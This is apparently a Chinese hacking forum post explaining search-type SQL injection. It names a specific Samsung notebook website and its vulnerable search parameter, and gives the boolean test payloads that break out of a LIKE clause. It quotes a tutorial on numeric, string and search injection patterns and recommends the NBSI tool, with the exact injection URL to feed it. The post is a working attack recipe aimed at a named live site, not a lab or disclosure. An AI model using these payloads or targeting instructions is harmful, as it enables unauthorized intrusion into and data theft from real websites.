今天看到有个关于搜索型注入的文章,用到的是一种新技术,探测的是三星:http://notebook.samsung.com.cn/index.aspx
注入方式是:
一般网站的搜索都是部分匹配的
有漏洞的url是http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=
构造注入语句三星%'and1=1and'%'='
三星%'and1=2and'%'='
大家看到了吧两个返回页面是不一样的说明有注入的漏洞特征字写笔记本就是三星%'and1=1and'%'='返回时有的
我们知道一般搜索代码是这么写的:
Select*from表名where字段like'%关键字%'
这样就造成了对关键字前后的所有匹配(%是用来全部匹配的)
这里如果关键字没有过滤的话,就可以这样来构造:
关键字='and[查询条件]and‘%25'='
这样查询就变成
select*from表名where字段like'%'and1=1and'%'='%'
这样就很好的构成了一个sql注入点,当然用手工也可以,用nbsi也可以~~
注入是不分家的,没必要什么型什么型的!~
如果不信,大家请看下面的《sql注入天书》的原话
第一节、SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
(A)ID=49这类注入的参数是数字型,SQL语句原貌大致如下:
Select*from表名where字段=49
注入的参数为ID=49And[查询条件],即是生成语句:
Select*from表名where字段=49And[查询条件]
(B)Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下:
Select*from表名where字段='连续剧'
注入的参数为Class=连续剧'and[查询条件]and‘'=',即是生成语句:
Select*from表名where字段='连续剧'and[查询条件]and‘'=''
(C)搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select*from表名where字段like'%关键字%'
注入的参数为keyword='and[查询条件]and‘%25'=',即是生成语句:
Select*from表名where字段like'%'and[查询条件]and‘%'='%'
当然手工是麻烦的
用工具的话,我建议用nbsi的工具比较好,就我感觉只有nbsi结合了这个技术,用别的软体是不能注入的
注入点只要写:
http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=%
再加个特征字符就可以了